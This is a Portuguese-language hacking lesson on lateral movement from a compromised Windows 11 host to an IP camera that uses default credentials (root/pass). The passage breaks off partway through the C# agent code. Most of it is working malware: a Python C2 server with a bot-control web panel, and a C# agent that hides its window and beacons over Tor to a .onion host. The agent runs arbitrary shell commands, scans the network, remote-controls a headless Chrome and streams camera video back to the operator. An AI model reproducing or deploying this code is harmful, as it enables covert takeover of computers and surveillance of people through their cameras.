Aula 139 | Movimentação Lateral para Câmera IP
Nesta aula, explorei uma técnica fundamental em ataques cibernéticos chamada movimento lateral (Lateral Movement), onde um invasor, após comprometer um dispositivo inicial (neste caso, um sistema com Windows 11), se desloca internamente pela rede até acessar outros dispositivos, como servidores, estações de trabalho ou, como será demonstrado nesta aula, uma câmera IP.
Cenário da Aula:
O ponto de partida é um host com Windows 11 que já foi comprometido. A partir dele, o atacante procura por alvos na rede e encontra uma câmera IP Micronet SP5522SP. Com o conhecimento do IP fixo padrão e as credenciais de fábrica (usuário: root
, senha: pass
), o acesso à câmera é possível via navegador ou ferramentas que suportem MJPEG.
Entendendo as Câmeras IP:
Câmeras IP (Internet Protocol) são dispositivos de vigilância que se conectam diretamente à rede, permitindo acesso remoto às imagens. Diferente das antigas câmeras com DVRs (Digital Video Recorders), essas câmeras possuem um servidor web interno, oferecendo funcionalidades autônomas como:
-
Transmissão de vídeo em tempo real
-
Controle remoto de funções (pan/tilt/zoom, configuração de qualidade)
-
Acesso via browser ou software externo
-
Protocolos padrão da internet
Protocolos Usados em Câmeras IP
Protocolo | Porta Padrão | Função | Transporte | Observações |
---|---|---|---|---|
RTSP | 554 | Streaming de vídeo ao vivo | TCP / UDP | Suporta comandos como PLAY , PAUSE . Exemplo de URL: rtsp://usuario:senha@ip:porta/caminho |
HTTP (MJPEG) | 80 / 8080 | Transmissão contínua de imagens JPEG | TCP | Cada frame é uma imagem JPEG contínua. Usado em navegadores |
ONVIF | 80 / 8080 (SOAP) + 554 (RTSP) | Padrão aberto para gerenciamento de câmeras | SOAP sobre HTTP | Facilita a detecção automática e integração com softwares de terceiros |
Proprietário | Variável | Caminhos e rotas específicas de cada fabricante | - | Ex: /video.cgi , /mjpg/video.mjpg etc. |
Tipos de Compressão de Vídeo Suportados
Formato | Descrição | Vantagens | Desvantagens |
---|---|---|---|
H.264 | Alta compressão e qualidade | Largamente suportado, boa performance | Pode exigir mais do hardware |
H.265 | 50% mais eficiente que H.264 | Ideal para vídeos 4K/8K | Nem todos os players suportam |
MJPEG | Cada frame é uma imagem JPEG separada | Alta qualidade, fácil de manipular | Alto uso de largura de banda e armazenamento |
Modelo em Foco: Micronet SP5522SP
-
Lançamento: Entre 2009 e 2011
-
Conectividade: Somente Ethernet (RJ45), sem Wi-Fi
-
Transmissão de vídeo: MJPEG via HTTP
-
Interface: Web com login (usuário
root
, senhapass
) -
Endereço IP padrão:
192.168.1.2
-
Autenticação: HTTP Basic Auth
-
Firmware: Proprietário da Micronet
-
Caminho de vídeo ao vivo:
GET /mjpg/video.mjpg
Mesmo sendo um modelo antigo, muitos desses dispositivos ainda estão ativos no mercado. Pesquisas recentes indicam sua presença em lojas online como OLX e Mercado Livre, o que justifica a escolha do modelo para a aula, visando demonstrar sua vulnerabilidade em redes locais.
Abordagem da Aula
-
Reconhecimento na Rede: Descoberta do IP da câmera.
-
Análise do Dispositivo: Identificação do modelo e rota de acesso ao vídeo.
-
Uso do Navegador ou Ferramenta HTTP: Acesso ao feed da câmera com as credenciais padrão.
Comandos Aceitos pelo Agente:
Comando | Descrição |
---|---|
netcattest -h |
Exibe o menu de ajuda com todos os comandos disponíveis. |
netcattest:<URL> |
Abre uma sessão de navegador remoto e navega para a URL informada. Ex: netcattest:http://google.com . |
netcattestscan |
Escaneia a rede local em busca de dispositivos conectados, incluindo fabricante por prefixo MAC. |
netcattestportscan:<IP>:<PORTA> |
Verifica se uma porta específica está aberta no IP informado. Ex: netcattestportscan:192.168.1.1:80 . |
netcattestcamera:<USUARIO>:<SENHA>:<IP>[:<CAMINHO>] |
Tenta acessar uma câmera IP via MJPEG autenticado. Ex: netcattestcamera:root:pass:192.168.1.2:/video.cgi . |
fecharpagina |
Encerra uma sessão de navegador ou de câmera atualmente ativa. |
Qualquer outro comando | É executado diretamente no shell do Windows (cmd.exe ). Ex: ipconfig , whoami , tasklist . |
Estrutura do Protocolo de Comunicação:
A estrutura da mensagem enviada pelo agente é:
Tipo (byte ) |
Valor Hex | Função |
---|---|---|
0x01 |
0x01 |
Texto de resposta do agente. Ex: logs, mensagens de status, resultados de comandos. |
0x02 |
0x02 |
Dados binários, normalmente imagem JPEG (de captura de tela ou câmera IP). |
Códigos:
C2 V3 .onion:
import socket
import threading
import time
import os
import sys
import signal
import base64
import logging
import struct
from flask import Flask, render_template_string, request
from flask_socketio import SocketIO
PORTA_C2 = 4444
PORTA_WEB = 5001
bots_conectados = []
lock = threading.Lock()
executando = True
app = Flask(__name__)
app.config['SECRET_KEY'] = 'segredo!'
socketio = SocketIO(app, async_mode='threading')
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)
TEMPLATE_HTML = """
<!DOCTYPE html>
<html lang="pt-BR">
<head>
<meta charset="UTF-8">
<title>NETCAT TEST V3 - Painel de Controle</title>
<style>
body, html { font-family: 'Courier New', Courier, monospace; margin: 0; padding: 0; height: 100%; background-color: #1a1a1a; color: #e0e0e0; display: flex; flex-direction: column; }
.header { background-color: #0d0d0d; padding: 10px; text-align: center; border-bottom: 2px solid #ff4500; display: flex; justify-content: space-between; align-items: center; }
.header h1 { margin: 0; }
.header #current-time { font-size: 1em; color: #00ff7f; }
.main-container { display: flex; flex: 1; overflow: hidden; }
.sidebar { width: 300px; background-color: #2a2a2a; padding: 10px; border-right: 1px solid #444; overflow-y: auto; display: flex; flex-direction: column; }
.bot-list h3 { margin-top: 0; }
.bot-item { padding: 8px; margin-bottom: 5px; background-color: #3a3a3a; border-radius: 4px; cursor: pointer; border-left: 4px solid #555; display: flex; justify-content: space-between; align-items: center; }
.bot-item.active { border-left: 4px solid #ff4500; background-color: #4a4a4a; }
.bot-info { display: flex; flex-direction: column; }
.bot-name { font-weight: bold; }
.bot-uptime { font-size: 0.8em; color: #aaa; }
.content { flex: 1; display: flex; flex-direction: column; padding: 10px; }
.stream-container { flex: 1; background-color: #000; margin-bottom: 10px; position: relative; overflow: hidden; }
#stream { width: 100%; height: 100%; object-fit: contain; }
.click-effect { position: absolute; border: 2px solid rgba(255, 69, 0, 0.8); border-radius: 50%; transform: translate(-50%, -50%); animation: ripple 0.5s linear; pointer-events: none; }
@keyframes ripple { to { width: 100px; height: 100px; opacity: 0; } }
.terminal-container { height: 250px; background-color: #0d0d0d; display: flex; flex-direction: column; border: 1px solid #444; }
#terminal-output { flex: 1; padding: 10px; overflow-y: auto; white-space: pre-wrap; }
.terminal-input { display: flex; }
.terminal-input span { padding: 8px; background-color: #2a2a2a; }
#command-input { flex: 1; background-color: #1a1a1a; border: none; color: #e0e0e0; padding: 8px; font-family: inherit; }
#command-input:focus { outline: none; }
.modal { display: none; position: fixed; z-index: 100; left: 0; top: 0; width: 100%; height: 100%; overflow: auto; background-color: rgba(0,0,0,0.6); }
.modal-content { background-color: #2a2a2a; margin: 10% auto; padding: 20px; border: 1px solid #888; width: 80%; max-width: 500px; border-radius: 5px; }
.modal-content h4 { margin-top: 0; }
.close-btn { color: #aaa; float: right; font-size: 28px; font-weight: bold; cursor: pointer; }
.action-input { width: calc(100% - 20px); background-color: #1a1a1a; border: 1px solid #444; color: #e0e0e0; padding: 8px; margin-bottom: 10px; }
.action-btn { width: 100%; padding: 10px; margin-bottom: 8px; border: none; color: #fff; cursor: pointer; font-weight: bold; border-radius: 3px; }
.btn-start { background-color: #28a745; }
.btn-stop { background-color: #dc3545; }
.btn-scan { background-color: #17a2b8; }
.btn-camera { background-color: #6f42c1; }
.modal-section { border-top: 1px solid #444; padding-top: 15px; margin-top: 15px; }
</style>
</head>
<body>
<div class="header"><h1>NETCAT TEST V3</h1><span id="current-time"></span></div>
<div class="main-container">
<div class="sidebar">
<h3>Bots Conectados (Tor)</h3>
<div id="bot-list"></div>
</div>
<div class="content">
<div class="stream-container" id="stream-parent"><img id="stream" src="" alt="Stream da navegação ou câmera aparecerá aqui."/></div>
<div class="terminal-container">
<div id="terminal-output"></div>
<div class="terminal-input"><span id="prompt">$</span><input type="text" id="command-input" placeholder="Digite um comando..."></div>
</div>
</div>
</div>
<div id="actions-modal" class="modal">
<div class="modal-content">
<span class="close-btn">×</span>
<h4>Ações Rápidas</h4>
<div class="modal-section">
<h5>Navegação Remota</h5>
<input type="text" id="url-input" class="action-input" placeholder="http://192.168.0.1">
<button id="start-nav-btn" class="action-btn btn-start">Iniciar Navegação</button>
<button id="stop-nav-btn" class="action-btn btn-stop">Parar Navegação/Câmera</button>
</div>
<div class="modal-section">
<h5>Câmera de Segurança</h5>
<input type="text" id="cam-ip-input" class="action-input" placeholder="IP da Câmera (ex: 192.168.1.2)">
<input type="text" id="cam-user-input" class="action-input" placeholder="Usuário (ex: root)">
<input type="text" id="cam-pass-input" class="action-input" placeholder="Senha (ex: pass)">
<input type="text" id="cam-path-input" class="action-input" placeholder="Caminho (opcional, ex: /mjpg/video.mjpg)">
<button id="start-cam-btn" class="action-btn btn-camera">Iniciar Captura de Câmera</button>
</div>
<div class="modal-section">
<h5>Reconhecimento de Rede</h5>
<button id="scan-network-btn" class="action-btn btn-scan">Escanear Rede Local (netcattestscan)</button>
<input type="text" id="port-scan-input" class="action-input" placeholder="IP:Porta (ex: 192.168.0.1:80)">
<button id="scan-port-btn" class="action-btn btn-scan">Verificar Porta Específica</button>
</div>
</div>
</div>
<script src="https://cdn.socket.io/4.7.5/socket.io.min.js"></script>
<script>
const socket = io();
let activeBotId = null;
const botListEl = document.getElementById('bot-list');
const streamImg = document.getElementById('stream');
const streamParent = document.getElementById('stream-parent');
const terminalOutput = document.getElementById('terminal-output');
const commandInput = document.getElementById('command-input');
const promptEl = document.getElementById('prompt');
const timeEl = document.getElementById('current-time');
const actionsModal = document.getElementById('actions-modal');
const closeModalBtn = document.querySelector('.close-btn');
function renderBotList(bots) {
botListEl.innerHTML = '';
bots.forEach(bot => {
const botEl = document.createElement('div');
botEl.className = 'bot-item';
if (bot.id === activeBotId) botEl.classList.add('active');
const statusText = bot.ativo ? `Online há: ${bot.uptime}` : `Offline há: ${bot.uptime}`;
botEl.innerHTML = `<div class="bot-info"><span class="bot-name">${bot.id}: ${bot.nome}</span><span class="bot-uptime">${statusText}</span></div><span>${bot.ativo ? 'ON' : 'OFF'}</span>`;
botEl.onclick = () => selectBot(bot.id, bot.ativo);
botListEl.appendChild(botEl);
});
}
function logToTerminal(message, type = 'info') {
const line = document.createElement('div');
line.textContent = message;
if (type === 'cmd') line.style.color = '#ff4500';
if (type === 'response') line.style.color = '#00ff7f';
if (type === 'error') line.style.color = '#dc3545';
terminalOutput.appendChild(line);
terminalOutput.scrollTop = terminalOutput.scrollHeight;
}
function selectBot(botId, isAtivo) {
activeBotId = botId;
promptEl.textContent = `Bot[${botId}]$`;
if (isAtivo) {
actionsModal.style.display = 'block';
}
logToTerminal(`Sessão com bot ${botId} iniciada.`, 'info');
socket.emit('request_bot_list');
}
closeModalBtn.onclick = () => { actionsModal.style.display = 'none'; };
window.onclick = (event) => { if (event.target == actionsModal) { actionsModal.style.display = "none"; } };
socket.on('connect', () => { logToTerminal('Conectado ao painel de controle.', 'info'); socket.emit('request_bot_list'); });
socket.on('time_update', (data) => { timeEl.textContent = data.time; });
socket.on('bot_list_update', (bots) => { renderBotList(bots); });
socket.on('bot_response', (data) => { if (data.bot_id === activeBotId) logToTerminal(data.response, 'response'); });
const preloader = new Image();
preloader.onload = () => { streamImg.src = preloader.src; };
socket.on('frame_imagem', (data) => { if (data.bot_id === activeBotId) preloader.src = 'data:image/jpeg;base64,' + data.imagem; });
function sendCommand(command) {
if (activeBotId === null) { logToTerminal('Nenhum bot selecionado.', 'error'); return; }
logToTerminal(`> ${command}`, 'cmd');
socket.emit('send_command', { bot_id: activeBotId, command: command });
}
commandInput.addEventListener('keydown', (e) => {
if (e.key === 'Enter' && commandInput.value.trim() !== '') {
sendCommand(commandInput.value.trim());
commandInput.value = '';
}
});
document.getElementById('start-nav-btn').onclick = () => {
const url = document.getElementById('url-input').value;
if (url) sendCommand(`netcattest:${url}`);
actionsModal.style.display = 'none';
};
document.getElementById('stop-nav-btn').onclick = () => {
sendCommand('fecharpagina');
actionsModal.style.display = 'none';
};
document.getElementById('start-cam-btn').onclick = () => {
const ip = document.getElementById('cam-ip-input').value;
const user = document.getElementById('cam-user-input').value;
const pass = document.getElementById('cam-pass-input').value;
const path = document.getElementById('cam-path-input').value;
if (ip && user && pass) {
let cmd = `netcattestcamera:${user}:${pass}:${ip}`;
if (path) {
cmd += `:${path}`;
}
sendCommand(cmd);
}
actionsModal.style.display = 'none';
};
document.getElementById('scan-network-btn').onclick = () => {
sendCommand('netcattestscan');
actionsModal.style.display = 'none';
};
document.getElementById('scan-port-btn').onclick = () => {
const target = document.getElementById('port-scan-input').value;
if (target) sendCommand(`netcattest:${target}`);
actionsModal.style.display = 'none';
};
function showClickEffect(x, y) {
const effect = document.createElement('div');
effect.className = 'click-effect';
effect.style.left = `${x}px`; effect.style.top = `${y}px`;
streamParent.appendChild(effect);
setTimeout(() => effect.remove(), 500);
}
const teclasEspeciais = new Set(['Enter','Backspace','Tab','Escape','Delete','ArrowUp','ArrowDown','ArrowLeft','ArrowRight','Home','End','PageUp','PageDown']);
streamImg.addEventListener('click', (e) => {
if (activeBotId === null) return;
const rect = e.target.getBoundingClientRect();
showClickEffect(e.clientX - rect.left, e.clientY - rect.top);
const scaleX = e.target.naturalWidth / rect.width;
const scaleY = e.target.naturalHeight / rect.height;
const x = Math.round((e.clientX - rect.left) * scaleX);
const y = Math.round((e.clientY - rect.top) * scaleY);
socket.emit('interaction', { bot_id: activeBotId, type: 'CLICK', x: x, y: y });
});
window.addEventListener('wheel', (e) => {
if (activeBotId === null) return;
e.preventDefault();
socket.emit('interaction', { bot_id: activeBotId, type: 'SCROLL', delta: Math.round(e.deltaY) });
}, { passive: false });
window.addEventListener('keydown', (e) => {
if (activeBotId === null || document.activeElement.tagName === 'INPUT') return;
e.preventDefault();
if (teclasEspeciais.has(e.key)) { socket.emit('interaction', { bot_id: activeBotId, type: 'KEY_PRESS', key: e.key }); }
else if (e.key.length === 1) { socket.emit('interaction', { bot_id: activeBotId, type: 'TYPE', key: e.key }); }
});
</script>
</body>
</html>
"""
def enviar_comando_para_bot(bot_socket, tipo, dados_str):
dados_bytes = dados_str.encode('utf-8')
tamanho = len(dados_bytes)
cabecalho = struct.pack('<BI', tipo, tamanho)
try:
bot_socket.sendall(cabecalho + dados_bytes)
except Exception as e:
print(f"[!] Erro ao enviar comando para o bot: {e}")
def ler_bytes_exatos(sock, num_bytes):
dados = b''
while len(dados) < num_bytes:
pacote = sock.recv(num_bytes - len(dados))
if not pacote: return None
dados += pacote
return dados
def notificar_clientes_web():
with lock:
lista_bots_serializavel = []
for bot in bots_conectados:
if bot["ativo"]:
tempo_decorrido = int(time.time() - bot["inicio_conexao"])
prefixo = "Online há"
else:
tempo_decorrido = int(time.time() - bot.get("tempo_offline", bot["inicio_conexao"]))
prefixo = "Offline há"
minutos, seg = divmod(tempo_decorrido, 60)
horas, minutos = divmod(minutos, 60)
uptime_str = f"{horas:02d}h{minutos:02d}m{seg:02d}s"
lista_bots_serializavel.append({
"id": bot["id"], "nome": bot["nome"], "ativo": bot["ativo"], "uptime": uptime_str
})
socketio.emit('bot_list_update', lista_bots_serializavel)
def background_updater():
while executando:
socketio.sleep(1)
notificar_clientes_web()
socketio.emit('time_update', {'time': time.strftime("%H:%M:%S")})
def tratar_bot(bot_socket, endereco, bot_id):
info_bot = bots_conectados[bot_id]
nome_bot = info_bot["nome"]
print(f"\n[+] Conexão recebida de {nome_bot}")
notificar_clientes_web()
try:
while executando and info_bot["ativo"]:
cabecalho = ler_bytes_exatos(bot_socket, 5)
if not cabecalho: break
tipo, tamanho = struct.unpack('<BI', cabecalho)
dados = ler_bytes_exatos(bot_socket, tamanho)
if not dados: break
if tipo == 0x01:
socketio.emit('bot_response', {'bot_id': bot_id, 'response': dados.decode('utf-8', errors='ignore')})
elif tipo == 0x02:
imagem_base64 = base64.b64encode(dados).decode('utf-8')
socketio.emit('frame_imagem', {'bot_id': bot_id, 'imagem': imagem_base64})
finally:
with lock:
info_bot["ativo"] = False
info_bot["tempo_offline"] = time.time()
print(f"\n[-] Bot desconectado: {nome_bot}")
notificar_clientes_web()
def iniciar_servidor_c2():
servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
servidor.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
servidor.bind(("0.0.0.0", PORTA_C2))
servidor.listen(100)
print(f"[*] Servidor C2 escutando na porta {PORTA_C2}")
while executando:
try:
bot_socket, endereco = servidor.accept()
with lock:
bot_id = len(bots_conectados)
info_bot = {"id": bot_id, "nome": f"Bot_{endereco[0]}:{endereco[1]}", "socket": bot_socket, "endereco": endereco, "ativo": True, "inicio_conexao": time.time()}
bots_conectados.append(info_bot)
threading.Thread(target=tratar_bot, args=(bot_socket, endereco, bot_id), daemon=True).start()
except OSError: break
except Exception as e:
if executando: print(f"[!] Erro ao aceitar conexão: {e}")
servidor.close()
@app.route('/')
def index():
return render_template_string(TEMPLATE_HTML)
@socketio.on('request_bot_list')
def handle_request_bot_list():
notificar_clientes_web()
@socketio.on('send_command')
def handle_send_command(data):
bot_id = int(data['bot_id'])
command = data['command']
info_bot = None
with lock:
if 0 <= bot_id < len(bots_conectados): info_bot = bots_conectados[bot_id]
if info_bot and info_bot["ativo"]:
enviar_comando_para_bot(info_bot["socket"], 0x01, command)
@socketio.on('interaction')
def tratar_interacao(dados):
bot_id = int(dados['bot_id'])
info_bot = None
with lock:
if 0 <= bot_id < len(bots_conectados): info_bot = bots_conectados[bot_id]
if info_bot and info_bot["ativo"]:
tipo_interacao = dados['type']
cmd_str = ""
if tipo_interacao == 'CLICK': cmd_str = f"CLICK:{dados['x']},{dados['y']}"
elif tipo_interacao == 'SCROLL': cmd_str = f"SCROLL:{dados['delta']}"
elif tipo_interacao == 'TYPE': cmd_str = f"TYPE:{dados['key']}"
elif tipo_interacao == 'KEY_PRESS': cmd_str = f"KEY_PRESS:{dados['key']}"
if cmd_str:
enviar_comando_para_bot(info_bot["socket"], 0x01, cmd_str)
def sair_graciosamente(sig, frame):
global executando
print("\n[!] Finalizando...")
executando = False
os._exit(0)
if __name__ == "__main__":
signal.signal(signal.SIGINT, sair_graciosamente)
threading.Thread(target=iniciar_servidor_c2, daemon=True).start()
socketio.start_background_task(target=background_updater)
print(f"[*] Interface de Controle Web em http://127.0.0.1:{PORTA_WEB}")
socketio.run(app, host='127.0.0.1', port=PORTA_WEB, allow_unsafe_werkzeug=True)
|
Agente C#:
using System;
using System.IO;
using System.Net;
using System.Net.Http;
using System.Net.NetworkInformation;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Collections.Generic;
using System.Linq;
using PuppeteerSharp;
using PuppeteerSharp.Input;
public class Agente
{
private const string EnderecoProxyTor = "127.0.0.1";
private const int PortaProxyTor = 9050;
private const string HostOnion = "dominio.onion";
private const int PortaOnion = 4444;
private const int AtrasoReconexao = 15000;
private static volatile bool estaEmSessaoAtiva = false;
private static CancellationTokenSource tokenSessao;
private static IPage paginaNavegador;
private static IBrowser navegador;
[DllImport("kernel32.dll")]
private static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
private const int SW_OCULTAR = 0;
public void ExecutarCiclo()
{
ShowWindow(GetConsoleWindow(), SW_OCULTAR);
while (true)
{
try
{
using (var cliente = new TcpClient())
{
cliente.Connect(EnderecoProxyTor, PortaProxyTor);
using (var stream = cliente.GetStream())
{
RealizarHandshakeSocks(stream, HostOnion, PortaOnion);
ProcessarFluxoDeDados(stream);
}
}
}
catch (Exception ex)
{
Debug.WriteLine($"Erro de conexão: {ex.Message}");
}
finally
{
if (estaEmSessaoAtiva) tokenSessao?.Cancel();
}
Thread.Sleep(AtrasoReconexao);
}
}
private void LerBytesExatos(NetworkStream stream, byte[] buffer, int bytesParaLer)
{
int totalBytesLidos = 0;
while (totalBytesLidos < bytesParaLer)
{
int bytesLidos = stream.Read(buffer, totalBytesLidos, bytesParaLer - totalBytesLidos);
if (bytesLidos == 0) throw new EndOfStreamException("Conexão fechada pelo C2.");
totalBytesLidos += bytesLidos;
}
}
private void RealizarHandshakeSocks(NetworkStream stream, string host, int porta)
{
stream.Write(new byte[] { 0x05, 0x01, 0x00 }, 0, 3);
var respostaAuth = new byte[2];
LerBytesExatos(stream, respostaAuth, 2);
if (respostaAuth[1] != 0x00) throw new Exception("Falha na autenticação SOCKS.");
var hostBytes = Encoding.ASCII.GetBytes(host);
var requisicao = new List<byte>();
requisicao.AddRange(new byte[] { 0x05, 0x01, 0x00, 0x03, (byte)hostBytes.Length });
requisicao.AddRange(hostBytes);
requisicao.Add((byte)(porta >> 8));
requisicao.Add((byte)(porta & 0xFF));
stream.Write(requisicao.ToArray(), 0, requisicao.Count);
var respostaConexao = new byte[10];
LerBytesExatos(stream, respostaConexao, 10);
if (respostaConexao[1] != 0x00) throw new Exception($"Falha na conexão SOCKS: código {respostaConexao[1]}");
}
private void ProcessarFluxoDeDados(NetworkStream stream)
{
while (true)
{
try
{
var cabecalhoBuffer = new byte[5];
LerBytesExatos(stream, cabecalhoBuffer, 5);
int tamanhoMensagem = BitConverter.ToInt32(cabecalhoBuffer, 1);
var dadosBuffer = new byte[tamanhoMensagem];
LerBytesExatos(stream, dadosBuffer, tamanhoMensagem);
string comando = Encoding.UTF8.GetString(dadosBuffer).Trim();
if (comando.Equals("netcattest -h", StringComparison.OrdinalIgnoreCase))
{
EnviarAjuda(stream);
}
else if (comando.StartsWith("netcattestscan", StringComparison.OrdinalIgnoreCase))
{
Task.Run(() => EscanearRedeLocal(stream));
}
else if (comando.StartsWith("netcattestportscan:", StringComparison.OrdinalIgnoreCase))
{
var payload = comando.Substring("netcattestportscan:".Length).Trim();
Task.Run(() => VerificarPorta(payload, stream));
}
else if (comando.StartsWith("netcattestcamera:", StringComparison.OrdinalIgnoreCase))
{
if (!estaEmSessaoAtiva)
{
estaEmSessaoAtiva = true;
tokenSessao = new CancellationTokenSource();
Task.Run(() => IniciarCapturaCamera(comando, stream, tokenSessao.Token));
}
}
else if (comando.StartsWith("netcattest:", StringComparison.OrdinalIgnoreCase))
{
if (!estaEmSessaoAtiva)
{
var url = comando.Substring("netcattest:".Length).Trim();
if (!url.StartsWith("http://") && !url.StartsWith("https://"))
{
url = "http://" + url;
}
estaEmSessaoAtiva = true;
tokenSessao = new CancellationTokenSource();
Task.Run(() => IniciarSessaoNavegador(url, stream, tokenSessao.Token));
}
}
else if (estaEmSessaoAtiva)
{
ProcessarComandoInteracao(comando);
}
else
{
ExecutarComandoShell(comando, stream);
}
}
catch (Exception ex)
{
Debug.WriteLine($"Erro no loop de comunicação: {ex.Message}");
break;
}
}
}
private async void ProcessarComandoInteracao(string comando)
{
if (!estaEmSessaoAtiva) return;
try
{
if (comando.Equals("fecharpagina", StringComparison.OrdinalIgnoreCase))
{
tokenSessao?.Cancel();
}
else if (paginaNavegador != null)
{
if (comando.StartsWith("CLICK:", StringComparison.OrdinalIgnoreCase))
{
var partes = comando.Substring(6).Split(',');
if (partes.Length == 2 && int.TryParse(partes[0], out int x) && int.TryParse(partes[1], out int y))
await paginaNavegador.Mouse.ClickAsync(x, y);
}
else if (comando.StartsWith("TYPE:", StringComparison.OrdinalIgnoreCase))
{
await paginaNavegador.Keyboard.TypeAsync(comando.Substring(5), new TypeOptions { Delay = 10 });
}
else if (comando.StartsWith("KEY_PRESS:", StringComparison.OrdinalIgnoreCase))
{
await paginaNavegador.Keyboard.PressAsync(comando.Substring(10));
}
else if (comando.StartsWith("SCROLL:", StringComparison.OrdinalIgnoreCase))
{
if (int.TryParse(comando.Substring(7), out int delta))
await paginaNavegador.EvaluateExpressionAsync($"window.scrollBy(0, {delta})");
}
}
}
catch (Exception ex)
{
Debug.WriteLine($"Erro ao processar interação: {ex.Message}");
}
}
private async Task EnviarMensagem(NetworkStream stream, byte tipo, string texto)
{
if (string.IsNullOrEmpty(texto)) return;
byte[] dados = Encoding.UTF8.GetBytes(texto);
await EnviarPayload(stream, tipo, dados);
}
private async Task EnviarPayload(NetworkStream stream, byte tipo, byte[] dados)
{
try
{
if (stream == null || !stream.CanWrite || dados == null || dados.Length == 0) return;
byte[] tamanho = BitConverter.GetBytes(dados.Length);
var mensagemCompleta = new byte[5 + dados.Length];
mensagemCompleta[0] = tipo;
Buffer.BlockCopy(tamanho, 0, mensagemCompleta, 1, 4);
Buffer.BlockCopy(dados, 0, mensagemCompleta, 5, dados.Length);
await stream.WriteAsync(mensagemCompleta, 0, mensagemCompleta.Length);
}
catch (Exception ex)
{
Debug.WriteLine($"Erro ao enviar payload: {ex.Message}");
}
}
private string EncontrarExecutavelChrome()
{
string[] caminhos = {
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "Google\\Chrome\\Application\\chrome.exe"),
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "Google\\Chrome\\Application\\chrome.exe"),
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\\Chrome\\Application\\chrome.exe")
};
foreach (var caminho in caminhos)
{
if (File.Exists(caminho)) return caminho;
}
return null;
}
private async Task IniciarSessaoNavegador(string url, NetworkStream stream, CancellationToken token)
{
try
{
await EnviarMensagem(stream, 0x01, "[+] Procurando instalação do Google Chrome...");
string caminhoChrome = EncontrarExecutavelChrome();
if (string.IsNullOrEmpty(caminhoChrome))
{
await EnviarMensagem(stream, 0x01, "[!] Google Chrome não foi encontrado. A navegação remota não está disponível.");
return;
}
await EnviarMensagem(stream, 0x01, $"[+] Google Chrome encontrado em: {caminhoChrome}");
navegador = await Puppeteer.LaunchAsync(new LaunchOptions
{
Headless = true,
ExecutablePath = caminhoChrome,
Args = new[] { "--no-sandbox", "--disable-gpu", "--ignore-certificate-errors" }
});
paginaNavegador = await navegador.NewPageAsync();
await paginaNavegador.SetViewportAsync(new ViewPortOptions { Width = 1280, Height = 720 });
await EnviarMensagem(stream, 0x01, $"[+] Navegando para: {url}");
await paginaNavegador.GoToAsync(url, new NavigationOptions { WaitUntil = new[] { WaitUntilNavigation.Networkidle2 }, Timeout = 30000 });
_ = TransmitirTela(stream, token);
await Task.Delay(Timeout.Infinite, token);
}
catch(TaskCanceledException)
{
}
catch (Exception ex)
{
await EnviarMensagem(stream, 0x01, $"[!] Erro na sessão de navegação: {ex.Message}");
}
finally
{
if (navegador != null) await navegador.CloseAsync();
estaEmSessaoAtiva = false;
paginaNavegador = null;
await EnviarMensagem(stream, 0x01, "[+] Sessão de navegação encerrada.");
}
}
private async Task TransmitirTela(NetworkStream stream, CancellationToken token)
{
while (!token.IsCancellationRequested)
{
try
{
var dadosScreenshot = await paginaNavegador.ScreenshotDataAsync(new ScreenshotOptions { Type = ScreenshotType.Jpeg, Quality = 80 });
await EnviarPayload(stream, 0x02, dadosScreenshot);
await Task.Delay(100, token);
}
catch (Exception) { break; }
}
}
private async Task IniciarCapturaCamera(string comando, NetworkStream stream, CancellationToken token)
{
try
{
string[] partes = comando.Substring("netcattestcamera:".Length).Split(new[] { ':' }, 4);
if (partes.Length < 3)
{
await EnviarMensagem(stream, 0x01, "[!] Formato de comando de câmera inválido. Use: usuario:senha:IP[:/caminho/completo]");
return;
}
string usuario = partes[0];
string senha = partes[1];
string ip = partes[2];
string caminhoEspecifico = partes.Length > 3 ? partes[3] : null;
var caminhosParaTestar = new List<string>();
if (!string.IsNullOrEmpty(caminhoEspecifico))
{
caminhosParaTestar.Add(caminhoEspecifico);
}
else
{
caminhosParaTestar.AddRange(new List<string> { "/mjpg/video.mjpg", "/video.cgi", "/videostream.cgi", "/stream.mjpg", "/mjpeg.cgi", "/video.mjpg", "/cam/realmonitor?channel=1&subtype=0", "/axis-cgi/mjpg/video.cgi" });
}
var client = new HttpClient(new HttpClientHandler { Credentials = new NetworkCredential(usuario, senha), PreAuthenticate = true });
client.Timeout = TimeSpan.FromSeconds(10);
bool sucesso = false;
foreach (var caminho in caminhosParaTestar)
{
if (token.IsCancellationRequested) break;
string url = $"http://{ip}{caminho}";
await EnviarMensagem(stream, 0x01, $"[+] Tentando câmera em: {url}");
try
{
var response = await client.GetAsync(url, HttpCompletionOption.ResponseHeadersRead, token);
if (response.IsSuccessStatusCode && response.Content.Headers.ContentType?.MediaType == "multipart/x-mixed-replace")
{
await EnviarMensagem(stream, 0x01, $"[+] Conexão bem-sucedida! Iniciando stream...");
await TransmitirStreamMJPEG(stream, response, token);
sucesso = true;
break;
}
else
{
await EnviarMensagem(stream, 0x01, $"[-] Falhou: Status {response.StatusCode}, ContentType {response.Content.Headers.ContentType?.MediaType}");
}
}
catch (Exception ex)
{
await EnviarMensagem(stream, 0x01, $"[!] Falha ao conectar: {ex.Message}");
}
}
if (!sucesso && !token.IsCancellationRequested)
{
await EnviarMensagem(stream, 0x01, "[!] Não foi possível conectar a nenhum caminho de câmera conhecido.");
}
}
catch (Exception ex)
{
await EnviarMensagem(stream, 0x01, $"[!] Erro crítico na captura de câmera: {ex.Message}");
}
finally
{
estaEmSessaoAtiva = false;
await EnviarMensagem(stream, 0x01, "[+] Sessão de câmera encerrada.");
}
}
private async Task TransmitirStreamMJPEG(NetworkStream c2Stream, HttpResponseMessage camResponse, CancellationToken token)
{
var boundary = camResponse.Content.Headers.ContentType.Parameters.FirstOrDefault(p => p.Name.Equals("boundary", StringComparison.OrdinalIgnoreCase))?.Value.Trim('"');
if (string.IsNullOrEmpty(boundary)) throw new Exception("Boundary do MJPEG não encontrado no cabeçalho Content-Type.");
